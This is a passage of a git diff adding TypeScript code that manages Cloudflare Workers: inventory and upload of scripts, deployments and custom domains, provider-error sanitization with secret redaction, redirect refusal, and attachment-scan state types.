+export async function ordinaryWorkerSubdomain(
+  context: Pick<OrdinaryWorkerContext, 'accountId' | 'client'>,
+  scriptName: string,
+): Promise<Readonly<{ enabled: boolean; previews_enabled: boolean }>> {
+  const response = await context.client.workers.scripts.subdomain
+    .get(scriptName, { account_id: context.accountId })
+    .asResponse();
+  const media = response.headers
+    .get('content-type')
+    ?.split(';')[0]
+    ?.trim()
+    .toLowerCase();
+  if (
+    response.status !== 200 ||
+    !(media === 'application/json' || media?.endsWith('+json'))
+  ) {
+    void response.body?.cancel().catch(() => undefined);
+    throw new Error(
+      `ordinary Worker '${scriptName}' returned incomplete public-access metadata`,
+    );
+  }
+  const body: unknown = await response.json();
+  const result = readField(body, 'result');
+  const errors = readField(body, 'errors') ?? undefined;
+  const enabled = readField(result, 'enabled');
+  const previews = readField(result, 'previews_enabled');
+  if (
+    readField(body, 'success') !== true ||
+    (errors !== undefined && (!Array.isArray(errors) || errors.length !== 0)) ||
+    !result ||
+    typeof result !== 'object' ||
+    Array.isArray(result) ||
+    !Object.hasOwn(result, 'enabled') ||
+    !Object.hasOwn(result, 'previews_enabled') ||
+    typeof enabled !== 'boolean' ||
+    typeof previews !== 'boolean'
+  )
+    throw new Error(
+      `ordinary Worker '${scriptName}' returned incomplete public-access metadata`,
+    );
+  return { enabled, previews_enabled: previews };
+}
+
+export async function listOrdinaryWorkerSecretNames(
+  context: OrdinaryWorkerPagedContext,
+  scriptName: string,
+): Promise<readonly string[]> {
+  return context.schedule(() => ordinaryWorkerSecretNames(context, scriptName));
+}
+
+export async function ordinaryWorkerSecretNames(
+  context: OrdinaryWorkerCollectContext,
+  scriptName: string,
+): Promise<string[]> {
+  const names: string[] = [];
+  try {
+    for await (const secret of context.collectBounded(
+      context.inventoryClient.workers.scripts.secrets.list(scriptName, {
+        account_id: context.accountId,
+      }),
+      'ordinary Worker secret inventory',
+    )) {
+      const name = readStringField(secret, 'name');
+      if (!name) {
+        throw new Error(
+          `ordinary Worker '${scriptName}' returned a secret without a name`,
+        );
+      }
+      names.push(name);
+    }
+  } catch (error) {
+    if (isNotFound(error)) return [];
+    throw error;
+  }
+  return names.sort();
+}
+
+export async function listOrdinaryWorkerDatabases(
+  context: OrdinaryWorkerPagedContext,
+  filter?: Readonly<{ name?: string }>,
+): Promise<readonly PlainWorkerDatabaseInventoryEntry[]> {
+  return context.schedule(async () => {
+    const databases: PlainWorkerDatabaseInventoryEntry[] = [];
+    for await (const database of context.collectBounded(
+      context.inventoryClient.d1.database.list({
+        account_id: context.accountId,
+        per_page: 100,
+        ...(filter?.name === undefined ? {} : { name: filter.name }),
+      }),
+      'D1 database inventory',
+      MAX_DATABASE_INVENTORY,
+    )) {
+      const databaseId = readStringField(database, 'uuid');
+      const name = readStringField(database, 'name');
+      if (!databaseId || !name)
+        throw new Error('D1 database inventory has an invalid uuid or name');
+      databases.push({ databaseId, name });
+    }
+    return databases;
+  });
+}
+
+export async function ordinaryWorkerDeploymentStatus(
+  context: OrdinaryWorkerBaseContext,
+  scriptName: string,
+): Promise<PlainWorkerDeploymentStatus | undefined> {
+  return context.schedule(async () => {
+    try {
+      const listed = await context.client.workers.scripts.deployments.list(
+        scriptName,
+        {
+          account_id: context.accountId,
+        },
+      );
+      const deployment = listed.deployments[0];
+      if (!deployment) return undefined;
+      return {
+        versions: readArrayField(deployment, 'versions').map((version) => {
+          const rawPercentage = readField(version, 'percentage');
+          return {
+            versionId:
+              readStringField(version, 'id') ??
+              readStringField(version, 'version_id'),
+            percentage:
+              rawPercentage === undefined ? undefined : Number(rawPercentage),
+          };
+        }),
+      };
+    } catch (error) {
+      if (isNotFound(error)) return undefined;
+      throw error;
+    }
+  });
+}
+
+export async function listOrdinaryWorkerVersions(
+  context: OrdinaryWorkerPagedContext,
+  scriptName: string,
+): Promise<readonly PlainWorkerVersionSummary[] | undefined> {
+  return context.schedule(async () => {
+    try {
+      const versions: PlainWorkerVersionSummary[] = [];
+      for await (const version of context.collectBounded(
+        context.versionInventoryClient.workers.scripts.versions.list(
+          scriptName,
+          {
+            account_id: context.accountId,
+            per_page: 100,
+          },
+        ),
+        'ordinary Worker version inventory',
+        MAX_VERSION_INVENTORY,
+      )) {
+        versions.push({
+          versionId:
+            readStringField(version, 'id') ??
+            readStringField(version, 'version_id'),
+          tag: readWorkerVersionTag(version),
+        });
+      }
+      return versions;
+    } catch (error) {
+      // The SDK requests the page after the last item. A 404 observes the
+      // script's absence between pages, so earlier pages are stale.
+      if (isNotFound(error)) return undefined;
+      throw error;
+    }
+  });
+}
+
+export async function viewOrdinaryWorkerVersion(
+  context: OrdinaryWorkerBaseContext,
+  scriptName: string,
+  versionId: string,
+): Promise<PlainWorkerVersionDetail> {
+  return context.schedule(async () => {
+    const version = await context.client.workers.scripts.versions.get(
+      versionId,
+      { account_id: context.accountId, script_name: scriptName },
+    );
+    return {
+      versionId:
+        readStringField(version, 'id') ??
+        readStringField(version, 'version_id'),
+      tag: readWorkerVersionTag(version),
+      bindings: providerBindingsToPlainWorkerShape(
+        readArrayField(readField(version, 'resources'), 'bindings'),
+      ),
+    };
+  });
+}
+
+export async function findOrdinaryWorkerVersion(
+  context: OrdinaryWorkerBaseContext,
+  scriptName: string,
+  versionId: string,
+): Promise<PlainWorkerVersionDetail | undefined> {
+  try {
+    return await viewOrdinaryWorkerVersion(context, scriptName, versionId);
+  } catch (error) {
+    if (isNotFound(error)) return undefined;
+    throw error;
+  }
+}
+
+export async function prepareOrdinaryWorkerUpload(
+  intent: PlainWorkerUploadIntent,
+): Promise<PreparedOrdinaryWorkerUpload> {
+  for (const module of intent.modules) {
+    if (
+      !module ||
+      typeof module.name !== 'string' ||
+      (typeof module.content !== 'string' &&
+        !(module.content instanceof Uint8Array)) ||
+      (module.contentType !== undefined &&
+        typeof module.contentType !== 'string')
+    ) {
+      throw new TypeError(
+        'ordinary Worker modules must contain valid upload data',
+      );
+    }
+  }
+  const bindings = uploadIntentToProviderBindings(intent);
+  const secretValues = intent.bindings.secrets.map(({ value }) => value);
+  const baseMetadata: StagedOrdinaryWorkerUploadMetadata = {
+    main_module: intent.mainModule,
+    bindings,
+    compatibility_date: intent.compatibilityDate,
+    compatibility_flags: intent.compatibilityFlags
+      ? [...intent.compatibilityFlags]
+      : undefined,
+    limits:
+      intent.limits.cpuMs === undefined &&
+      intent.limits.subrequests === undefined
+        ? undefined
+        : {
+            cpu_ms: intent.limits.cpuMs,
+            subrequests: intent.limits.subrequests,
+          },
+    annotations: { 'workers/tag': intent.candidateTag },
+  };
+  const metadata: OrdinaryWorkerUploadMetadata =
+    intent.mode === 'initial'
+      ? {
+          ...baseMetadata,
+          migrations: workerMigrations(intent.durableObjectMigrations),
+        }
+      : baseMetadata;
+  const encodedMetadata = JSON.stringify(metadata);
+  const files = await Promise.all(
+    intent.modules.map((module) =>
+      toFile(
+        typeof module.content === 'string'
+          ? new TextEncoder().encode(module.content)
+          : module.content,
+        module.name,
+        {
+          type: module.contentType ?? 'application/javascript+module',
+        },
+      ),
+    ),
+  );
+  return {
+    [PREPARED_ORDINARY_WORKER_UPLOAD]: true,
+    intent,
+    files,
+    metadata: encodedMetadata,
+    secretValues,
+  };
+}
+
+export async function dispatchOrdinaryWorkerUpload(
+  context: OrdinaryWorkerBaseContext,
+  prepared: PreparedOrdinaryWorkerUpload,
+): Promise<void> {
+  const { files, intent, metadata, secretValues } = prepared;
+  await context.schedule(async () => {
+    const subdomain = context.client.workers.scripts.subdomain;
+    const uploadParameters = {
+      account_id: context.accountId,
+      // cloudflare/internal/uploads.mjs:102-129 bracket-flattens objects;
+      // Wrangler 4.118.0 serializes the same metadata value as JSON.
+      metadata: metadata as never,
+    };
+    const body = namedWorkerUploadBody(files, metadata);
+    const send = async (call: () => Promise<unknown>): Promise<void> => {
+      try {
+        await call();
+      } catch (error) {
+        throw sanitizeProviderError(error, secretValues);
+      }
+    };
+    if (intent.mode === 'initial') {
+      await send(() =>
+        context.client.workers.scripts.update(
+          intent.scriptName,
+          uploadParameters,
+          {
+            maxRetries: 0,
+            body,
+            headers: { 'Content-Type': null },
+          },
+        ),
+      );
+      // Sanitization is limited to the upload request that carries secrets.
+      // Cloudflare rejects subdomain writes before the script exists. The
+      // caller attests public access before adopting a reconciled upload.
+      await subdomain.create(intent.scriptName, {
+        account_id: context.accountId,
+        enabled: intent.publicAccess.workersDevEnabled,
+        previews_enabled: intent.publicAccess.previewUrlsEnabled,
+      });
+      return;
+    }
+    const current = await ordinaryWorkerSubdomain(context, intent.scriptName);
+    if (
+      current.enabled !== intent.publicAccess.workersDevEnabled ||
+      current.previews_enabled !== intent.publicAccess.previewUrlsEnabled
+    ) {
+      // The staged path can converge public access first because the script
+      // exists; write-on-difference moves it toward the constant intent.
+      await subdomain.create(intent.scriptName, {
+        account_id: context.accountId,
+        enabled: intent.publicAccess.workersDevEnabled,
+        previews_enabled: intent.publicAccess.previewUrlsEnabled,
+      });
+    }
+    await send(() =>
+      context.client.workers.scripts.versions.create(
+        intent.scriptName,
+        uploadParameters,
+        { maxRetries: 0, body },
+      ),
+    );
+  });
+}
+
+export function prepareOrdinaryWorkerDeployment(
+  versions: readonly OrdinaryWorkerDeploymentVersion[],
+): PreparedOrdinaryWorkerDeploymentVersions {
+  assertOrdinaryWorkerDeploymentVersions(versions);
+  return Object.assign(
+    versions.map(({ versionId, percentage }) => ({
+      percentage,
+      version_id: versionId,
+    })),
+    { [PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS]: true as const },
+  );
+}
+
+export async function dispatchOrdinaryWorkerDeployment(
+  context: OrdinaryWorkerBaseContext,
+  scriptName: string,
+  versions: PreparedOrdinaryWorkerDeploymentVersions,
+): Promise<void> {
+  await context.schedule(() =>
+    context.client.workers.scripts.deployments.create(
+      scriptName,
+      {
+        account_id: context.accountId,
+        strategy: 'percentage',
+        versions: [...versions],
+      },
+      { maxRetries: 0 },
+    ),
+  );
+}
+
+export async function deleteOrdinaryWorkerScript(
+  context: OrdinaryWorkerBaseContext,
+  scriptName: string,
+): Promise<'deleted' | 'absent'> {
+  return context.schedule(async () => {
+    try {
+      await context.client.workers.scripts.delete(scriptName, {
+        account_id: context.accountId,
+      });
+      return 'deleted';
+    } catch (error) {
+      if (isNotFound(error)) return 'absent';
+      throw error;
+    }
+  });
+}
+
+export async function disableOrdinaryWorkerPublicAccess(
+  context: OrdinaryWorkerFencedContext,
+  scriptName: string,
+  fence: ExternalMutationFence,
+): Promise<void> {
+  await context.withMutationFence(fence, () =>
+    context.schedule(async () => {
+      try {
+        await context.client.workers.scripts.subdomain.create(scriptName, {
+          account_id: context.accountId,
+          enabled: false,
+          previews_enabled: false,
+        });
+      } catch (error) {
+        if (!isNotFound(error)) throw error;
+        return;
+      }
+      const subdomain = await (async () => {
+        try {
+          return await ordinaryWorkerSubdomain(context, scriptName);
+        } catch (error) {
+          if (!isNotFound(error)) throw error;
+          return undefined;
+        }
+      })();
+      if (!subdomain) return;
+      if (subdomain.enabled === true || subdomain.previews_enabled === true) {
+        throw new Error(
+          `ordinary Worker '${scriptName}' retains public subdomain ingress`,
+        );
+      }
+    }),
+  );
+}
+
+export async function listCustomDomains(
+  context: OrdinaryWorkerPagedContext,
+): Promise<readonly OrdinaryWorkerFootprint['customDomains'][number][]> {
+  return context.schedule(async () => {
+    const domains: Array<OrdinaryWorkerFootprint['customDomains'][number]> = [];
+    for await (const domain of context.collectBounded(
+      context.inventoryClient.workers.domains.list({
+        account_id: context.accountId,
+      }),
+      'custom domain inventory',
+    )) {
+      if (
+        !readStringField(domain, 'id') ||
+        !readStringField(domain, 'hostname') ||
+        !readStringField(domain, 'service')
+      ) {
+        throw new Error(
+          'Cloudflare returned incomplete custom-domain metadata',
+        );
+      }
+      domains.push({
+        id: domain.id,
+        hostname: domain.hostname,
+        service: domain.service,
+      });
+    }
+    return domains;
+  });
+}
+
+export function attachCustomDomain(
+  context: OrdinaryWorkerFencedContext,
+  target: { readonly hostname: string; readonly service: string },
+  fence: ExternalMutationFence,
+): Promise<void> {
+  return context.withMutationFence(fence, () =>
+    context.schedule(async () => {
+      await context.client.workers.domains.update({
+        account_id: context.accountId,
+        hostname: target.hostname,
+        service: target.service,
+      });
+    }),
+  );
+}
+
+export function detachCustomDomain(
+  context: OrdinaryWorkerFencedContext,
+  domainId: string,
+  fence: ExternalMutationFence,
+): Promise<void> {
+  return context.withMutationFence(fence, () =>
+    context.schedule(async () => {
+      try {
+        await context.client.workers.domains.delete(domainId, {
+          account_id: context.accountId,
+        });
+      } catch (error) {
+        if (!isNotFound(error)) throw error;
+      }
+    }),
+  );
+}
+
+export async function inspectActiveWorkerRoute(
+  context: OrdinaryWorkerBaseContext,
+  scriptName: string,
+): Promise<
+  | Readonly<{
+      artifactVersion: string;
+      specDigest: string | undefined;
+    }>
+  | undefined
+> {
+  return context.schedule(async () => {
+    let deploymentList: Awaited<
+      ReturnType<CloudflareSdk['workers']['scripts']['deployments']['list']>
+    >;
+    try {
+      deploymentList = await context.client.workers.scripts.deployments.list(
+        scriptName,
+        { account_id: context.accountId },
+      );
+    } catch (error) {
+      if (isNotFound(error)) return undefined;
+      throw error;
+    }
+    const artifactVersion = attestedActiveVersionId(
+      deploymentList.deployments[0],
+      scriptName,
+    );
+    const version = await context.client.workers.scripts.versions.get(
+      artifactVersion,
+      { account_id: context.accountId, script_name: scriptName },
+    );
+    const specDigest = (
+      version.resources.bindings === undefined ? [] : version.resources.bindings
+    ).flatMap((binding) =>
+      binding.type === 'plain_text' && binding.name === 'FLEET_SPEC_DIGEST'
+        ? [binding.text]
+        : [],
+    )[0];
+    return {
+      artifactVersion,
+      specDigest: typeof specDigest === 'string' ? specDigest : undefined,
+    };
+  });
+}
+
+export async function inspectOrdinaryWorkerFootprint(
+  context: OrdinaryWorkerFootprintContext,
+  scriptName: string,
+): Promise<OrdinaryWorkerFootprint> {
+  return context.schedule(async () => {
+    let scriptPresent = false;
+    for await (const script of context.collectBounded(
+      context.inventoryClient.workers.scripts.list({
+        account_id: context.accountId,
+      }),
+      'ordinary Worker script inventory',
+    )) {
+      const id = readStringField(script, 'id');
+      if (!id)
+        throw new Error('ordinary Worker script inventory has an invalid ID');
+      if (id === scriptName) scriptPresent = true;
+    }
+    const customDomains: Array<{
+      id: string;
+      hostname: string;
+      service: string;
+    }> = [];
+    for await (const domain of context.collectBounded(
+      context.inventoryClient.workers.domains.list({
+        account_id: context.accountId,
+      }),
+      'custom domain inventory',
+    )) {
+      const service = readStringField(domain, 'service');
+      if (!service)
+        throw new Error('custom domain inventory has an invalid service');
+      if (service !== scriptName) continue;
+      if (
+        !readStringField(domain, 'id') ||
+        !readStringField(domain, 'hostname')
+      ) {
+        throw new Error(
+          `ordinary Worker '${scriptName}' has incomplete custom-domain metadata`,
+        );
+      }
+      customDomains.push({
+        id: domain.id,
+        hostname: domain.hostname,
+        service: domain.service,
+      });
+    }
+    const zoneRoutes: import('./types.js').WorkerZoneRoute[] = [];
+    for (const zoneId of await context.workerRouteZoneIds()) {
+      for await (const route of context.collectBounded(
+        context.inventoryClient.workers.routes.list({ zone_id: zoneId }),
+        'Worker zone-route inventory',
+      )) {
+        const script = readField(route, 'script');
+        if (
+          script !== undefined &&
+          script !== null &&
+          typeof script !== 'string'
+        )
+          throw new Error('Worker zone-route inventory has an invalid script');
+        if (script !== scriptName) continue;
+        if (
+          !readStringField(route, 'id') ||
+          !readStringField(route, 'pattern')
+        ) {
+          throw new Error(
+            `ordinary Worker '${scriptName}' has incomplete zone-route metadata`,
+          );
+        }
+        zoneRoutes.push({
+          zoneId,
+          routeId: route.id,
+          pattern: route.pattern,
+        });
+      }
+    }
+    const subdomain = scriptPresent
+      ? await ordinaryWorkerSubdomain(context, scriptName)
+      : undefined;
+    return {
+      scriptPresent,
+      workersDevEnabled: subdomain?.enabled === true,
+      previewUrlsEnabled: subdomain?.previews_enabled === true,
+      customDomains,
+      zoneRoutes,
+    };
+  });
+}
diff --git a/packages/fleet-control/src/cloudflare-provider-errors.ts b/packages/fleet-control/src/cloudflare-provider-errors.ts
new file mode 100644
index 00000000..b79f4290
--- /dev/null
+++ b/packages/fleet-control/src/cloudflare-provider-errors.ts
@@ -0,0 +1,244 @@
+// SPDX-License-Identifier: Apache-2.0
+
+// This module holds the classification and redaction helpers that Cloudflare
+// provider transports apply to SDK errors and to raw provider responses, and
+// refuseRedirectStatus, the redirect refusal those transports share with the
+// tenant-Worker maintenance transport, whose responses are not provider
+// responses.
+
+import { APIConnectionError, APIError } from 'cloudflare';
+import { cancelBodyWithoutAwait } from './database-export-store.js';
+import { readField } from './json-field-reads.js';
+
+const MAX_SANITIZED_ERROR_CAUSE_DEPTH = 8;
+
+function redactSecretValues(
+  value: string,
+  secretValues: readonly string[],
+): string {
+  return secretValues.reduce(
+    (redacted, secret) =>
+      secret.length > 0 ? redacted.split(secret).join('[redacted]') : redacted,
+    value,
+  );
+}
+
+export function readErrorFieldSafely(
+  value: unknown,
+  key: 'cause' | 'constructor' | 'message' | 'name' | 'status',
+): unknown {
+  // A consumer-injected rejection can still be instanceof Error with doctored
+  // or throwing fields; the redaction boundaries must not throw while reading.
+  try {
+    return Reflect.get(value as object, key);
+  } catch {
+    return undefined;
+  }
+}
+
+function isErrorSafely(value: unknown): value is Error {
+  // For object values, `value instanceof Error` walks [[GetPrototypeOf]]; a
+  // Proxy trap or revoked Proxy can throw and replace the sanitized failure,
+  // so every Error check on the foreign cause graph uses this predicate.
+  try {
+    return value instanceof Error;
+  } catch {
+    return false;
+  }
+}
+
+export function sanitizedErrorName(error: unknown): string {
+  const name = readErrorFieldSafely(error, 'name');
+  const directName = typeof name === 'string' ? name : undefined;
+  const nameFromConstructor = readErrorFieldSafely(
+    isErrorSafely(error)
+      ? readErrorFieldSafely(error, 'constructor')
+      : undefined,
+    'name',
+  );
+  const constructorName =
+    typeof nameFromConstructor === 'string' ? nameFromConstructor : undefined;
+  const candidate =
+    directName && directName !== 'Error'
+      ? directName
+      : (constructorName ?? directName);
+  return candidate && /^[A-Za-z][A-Za-z0-9]*Error$/.test(candidate)
+    ? candidate
+    : 'unknown';
+}
+
+function sanitizedErrorCause(
+  error: Error,
+  secretValues: readonly string[],
+  depth = 0,
+  seen = new WeakMap<Error, string>(),
+): Error {
+  // This boundary never throws on the values it receives: cycles, depth,
+  // non-string messages, throwing accessors, and hostile prototypes all
+  // degrade to safe values. Fresh Errors copy safe values.
+  const name = sanitizedErrorName(error);
+  seen.set(error, name);
+  const cause = readErrorFieldSafely(error, 'cause');
+  const message = readErrorFieldSafely(error, 'message');
+  let sanitizedCause: Error | { name: string } | undefined;
+  if (isErrorSafely(cause)) {
+    const memoized = seen.get(cause);
+    sanitizedCause =
+      memoized !== undefined
+        ? { name: memoized }
+        : depth + 1 >= MAX_SANITIZED_ERROR_CAUSE_DEPTH
+          ? { name: sanitizedErrorName(cause) }
+          : sanitizedErrorCause(cause, secretValues, depth + 1, seen);
+  }
+  const sanitized = new Error(
+    typeof message === 'string'
+      ? redactSecretValues(message, secretValues)
+      : '',
+    sanitizedCause === undefined ? undefined : { cause: sanitizedCause },
+  );
+  sanitized.name = name;
+  return sanitized;
+}
+
+export function sanitizeProviderError(
+  error: unknown,
+  secretValues: readonly string[],
+): unknown {
+  // Wrapped paths supply an SDK-constructed operand. A value that escapes when
+  // the SDK itself throws on the rejection before wrapping it (castToError's
+  // instanceof, internal/errors.mjs:11; the String()/in coercions at
+  // client.mjs:389-390) is outside this boundary's no-throw promise.
+  if (!(error instanceof APIError)) return error;
+  const sanitized = new Error('Cloudflare Worker upload failed');
+  sanitized.name = 'CloudflareProviderError';
+  Object.defineProperties(sanitized, {
+    status: { enumerable: true, value: error.status },
+    errors: {
+      enumerable: true,
+      value: (Array.isArray(error.errors) ? error.errors : []).flatMap(
+        (entry) => {
+          if (!entry || typeof entry !== 'object') return [];
+          const code = readField(entry, 'code');
+          const message = readField(entry, 'message');
+          return [
+            {
+              ...(typeof code === 'number' || typeof code === 'string'
+                ? { code }
+                : {}),
+              ...(typeof message === 'string'
+                ? { message: redactSecretValues(message, secretValues) }
+                : {}),
+            },
+          ];
+        },
+      ),
+    },
+    cause: {
+      enumerable: false,
+      // APIConnectionError keeps a cause chain because, for a rejected fetch,
+      // that chain is the fence or transport failure the adapter classifies
+      // through. The SDK drops the underlying error on its timeout arm
+      // (APIConnectionTimeoutError is constructed without a cause,
+      // core/error.mjs:81-85), so that chain is one constant level. Every other
+      // APIError (a provider response or the SDK's own abort error) collapses
+      // to { name }.
+      value:
+        error instanceof APIConnectionError
+          ? sanitizedErrorCause(error, secretValues)
+          : { name: sanitizedErrorName(error) },
+    },
+  });
+  return sanitized;
+}
+
+export function isNotFound(error: unknown): boolean {
+  return Boolean(
+    error &&
+      typeof error === 'object' &&
+      'status' in error &&
+      error.status === 404,
+  );
+}
+
+const REDIRECT_STATUSES: readonly number[] = [301, 302, 303, 307, 308];
+
+/**
+ * Matches the HTTP statuses that carry a `Location`. A credentialed transport
+ * refuses a response carrying one.
+ */
+function isRedirectStatus(status: number): boolean {
+  return REDIRECT_STATUSES.includes(status);
+}
+
+/**
+ * A credentialed transport received a redirect. The message names the operation
+ * and the status, never the address: a redirect target the control plane did not
+ * choose belongs inside the caller's redaction boundary.
+ */
+class CredentialedRedirectRefusedError extends Error {
+  constructor(operation: string, status: number) {
+    super(`${operation} refused a redirect with status ${status}`);
+    this.name = 'CredentialedRedirectRefusedError';
+  }
+}
+
+/**
+ * Refuses a redirect status on a credentialed transport and cancels the body
+ * nothing reads.
+ *
+ * Where a credentialed transport's redirect refusal belongs: at the point that
+ * reads the raw response, whenever the consumer there does not itself classify
+ * the response status. A transport whose consumer classifies the status instead
+ * forces `redirect: 'manual'` and leaves the refusal to that consumer.
+ */
+export function refuseRedirectStatus(
+  response: Response,
+  operation: string,
+): void {
+  if (!isRedirectStatus(response.status)) return;
+  const refusal = new CredentialedRedirectRefusedError(
+    operation,
+    response.status,
+  );
+  cancelBodyWithoutAwait(response.body, refusal);
+  throw refusal;
+}
+
+/**
+ * R2 lists use HTTP 403 with provider code 10003 when the account lacks
+ * entitlement to the requested jurisdiction.
+ */
+export function isR2JurisdictionAccessRefusal(error: unknown): boolean {
+  return (
+    error instanceof APIError &&
+    error.status === 403 &&
+    Array.isArray(error.errors) &&
+    error.errors.some((entry) => entry?.code === 10003)
+  );
+}
+
+/**
+ * Recognizes SDK provider responses and transport failures, including their
+ * sanitized forms. A transient classification still requires an absence read
+ * before a provisioning mutation can retry through the backend's wait seam.
+ */
+export function isTransientProviderError(error: unknown): boolean {
+  const sanitized =
+    readErrorFieldSafely(error, 'name') === 'CloudflareProviderError';
+  if (!sanitized && !(error instanceof APIError)) return false;
+  const status = readErrorFieldSafely(error, 'status');
+  if (typeof status === 'number') {
+    return status >= 500 || status === 408 || status === 429;
+  }
+  if (status !== undefined) return false;
+  const causeName = readErrorFieldSafely(
+    readErrorFieldSafely(error, 'cause'),
+    'name',
+  );
+  return (
+    error instanceof APIConnectionError ||
+    (sanitized &&
+      (causeName === 'APIConnectionError' ||
+        causeName === 'APIConnectionTimeoutError'))
+  );
+}
diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts
new file mode 100644
index 00000000..b86f62aa
--- /dev/null
+++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts
@@ -0,0 +1,591 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { CLOUDFLARE_INVENTORY_BOUND } from './cloudflare-client-config.js';
+import { cloneBoundedPlainData } from './strict-plain-data.js';
+
+export const WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE = 100;
+export const WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND = 100;
+const PROGRESS_BYTE_BOUND = 65_536;
+export const WORKER_ATTACHMENT_CURSOR_BYTE_BOUND = 4_096;
+export const WORKER_ATTACHMENT_EVIDENCE_BOUND = 1_000_000;
+const PLAIN_DATA_DEPTH_BOUND = 64;
+const PLAIN_DATA_NODE_BOUND = 8_192;
+const SHA256_PATTERN = /^[0-9a-f]{64}$/;
+export const WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256 = '0'.repeat(64);
+
+/** @internal Package-private request-budget validation shared by the scanner and lifecycle. */
+export function assertWorkerAttachmentProviderRequestBudget(
+  value: number,
+): void {
+  if (!Number.isSafeInteger(value) || value < 9 || value > 1_000) {
+    throw new Error('maxProviderRequests must be an integer from 9 to 1000');
+  }
+}
+
+export type WorkerAttachmentScanTarget =
+  | Readonly<{ kind: 'd1'; databaseId: string }>
+  | Readonly<{ kind: 'r2'; bucketName: string }>;
+
+export interface WorkerAttachment {
+  readonly scriptName: string;
+  readonly plane: 'ordinary' | 'dispatch';
+  readonly dispatchNamespace?: string;
+}
+
+interface ScanCommon {
+  readonly version: 1;
+  readonly target: WorkerAttachmentScanTarget;
+  readonly evidenceSha256: string;
+  readonly evidenceCount: number;
+}
+
+export type WorkerAttachmentScanProgress =
+  | (ScanCommon &
+      Readonly<{
+        stage: 'ordinary-script-inventory';
+        ordinaryInventorySha256?: string;
+        scriptIndex: number;
+      }>)
+  | (ScanCommon &
+      Readonly<{
+        stage: 'ordinary-deployment';
+        ordinaryInventorySha256: string;
+        scriptIndex: number;
+        scriptName: string;
+      }>)
+  | (ScanCommon &
+      Readonly<{
+        stage: 'ordinary-version';
+        ordinaryInventorySha256: string;
+        scriptIndex: number;
+        scriptName: string;
+        deploymentSha256: string;
+        versionIndex: number;
+      }>)
+  | (ScanCommon &
+      Readonly<{
+        stage: 'dispatch-namespace-inventory';
+        ordinaryInventorySha256: string;
+        namespaceInventorySha256?: string;
+        namespaceIndex: number;
+      }>)
+  | (ScanCommon &
+      Readonly<{
+        stage: 'dispatch-script-page';
+        ordinaryInventorySha256: string;
+        namespaceInventorySha256: string;
+        namespaceIndex: number;
+        namespaceName: string;
+        pageStartCursor?: string;
+        pageNumber: number;
+        seenCursorSha256: readonly string[];
+        totalDispatchItems: number;
+        dispatchEvidenceSum256: string;
+        dispatchEvidenceCount: number;
+      }>)
+  | (ScanCommon &
+      Readonly<{
+        stage: 'dispatch-script-settings';
+        ordinaryInventorySha256: string;
+        namespaceInventorySha256: string;
+        namespaceIndex: number;
+        namespaceName: string;
+        pageStartCursor?: string;
+        nextCursor?: string;
+        pageSha256: string;
+        pageItemCount: number;
+        itemOffset: number;
+        pageNumber: number;
+        seenCursorSha256: readonly string[];
+        totalDispatchItems: number;
+        dispatchEvidenceSum256: string;
+        dispatchEvidenceCount: number;
+      }>);
+
+export type WorkerAttachmentScanChunk =
+  | Readonly<{
+      status: 'pending';
+      progress: WorkerAttachmentScanProgress;
+      attachments: readonly WorkerAttachment[];
+      providerFetchAttemptsReserved: number;
+    }>
+  | Readonly<{
+      status: 'attached';
+      attachment: WorkerAttachment;
+      providerFetchAttemptsReserved: number;
+    }>
+  | Readonly<{
+      status: 'complete';
+      evidenceSha256: string;
+      evidenceCount: number;
+      attachments: readonly WorkerAttachment[];
+      providerFetchAttemptsReserved: number;
+    }>;
+
+export interface WorkerAttachmentScanInput {
+  readonly target: WorkerAttachmentScanTarget;
+  readonly progress: WorkerAttachmentScanProgress;
+  readonly maxProviderRequests: number;
+  readonly signal?: AbortSignal;
+  readonly stopOnFirstAttachment?: boolean;
+}
+
+export class CloudflareAttachmentScanProgressError extends Error {
+  constructor() {
+    super('Cloudflare attachment scan progress is malformed');
+    this.name = 'CloudflareAttachmentScanProgressError';
+  }
+}
+
+function sha256(value: string): string {
+  return createHash('sha256').update(value).digest('hex');
+}
+
+function targetValue(target: WorkerAttachmentScanTarget): string {
+  return target.kind === 'd1' ? target.databaseId : target.bucketName;
+}
+
+function initialEvidence(target: WorkerAttachmentScanTarget): string {
+  return sha256(
+    JSON.stringify(['attachment-scan-v1', target.kind, targetValue(target)]),
+  );
+}
+
+function utf8Length(value: string): number {
+  return new TextEncoder().encode(value).byteLength;
+}
+
+function normalized(value: unknown): unknown {
+  return cloneBoundedPlainData(value, {
+    maxDepth: PLAIN_DATA_DEPTH_BOUND,
+    maxNodes: PLAIN_DATA_NODE_BOUND,
+    maxScalarBytes: PROGRESS_BYTE_BOUND,
+    maxSerializedBytes: PROGRESS_BYTE_BOUND,
+    error: () => new CloudflareAttachmentScanProgressError(),
+  });
+}
+
+function plainRecord(value: unknown): Record<string, unknown> | undefined {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+    ? (value as Record<string, unknown>)
+    : undefined;
+}
+
+function exactKeys(
+  value: Record<string, unknown>,
+  required: readonly string[],
+  optional: readonly string[] = [],
+): boolean {
+  const keys = Object.keys(value).sort();
+  const allowed = [...required, ...optional].sort();
+  return (
+    required.every((key) => Object.hasOwn(value, key)) &&
+    keys.length ===
+      allowed.length -
+        optional.filter((key) => !Object.hasOwn(value, key)).length &&
+    keys.every((key) => allowed.includes(key))
+  );
+}
+
+function safeInteger(
+  value: unknown,
+  maximum = Number.MAX_SAFE_INTEGER,
+): value is number {
+  return (
+    Number.isSafeInteger(value) &&
+    Number(value) >= 0 &&
+    Number(value) <= maximum
+  );
+}
+
+function hash(value: unknown): value is string {
+  return typeof value === 'string' && SHA256_PATTERN.test(value);
+}
+
+function boundedString(
+  value: unknown,
+  options: { readonly allowEmpty?: boolean } = {},
+): value is string {
+  return (
+    typeof value === 'string' &&
+    (options.allowEmpty || value.length > 0) &&
+    utf8Length(value) <= WORKER_ATTACHMENT_CURSOR_BYTE_BOUND
+  );
+}
+
+function parseTarget(value: unknown): WorkerAttachmentScanTarget | undefined {
+  const record = plainRecord(value);
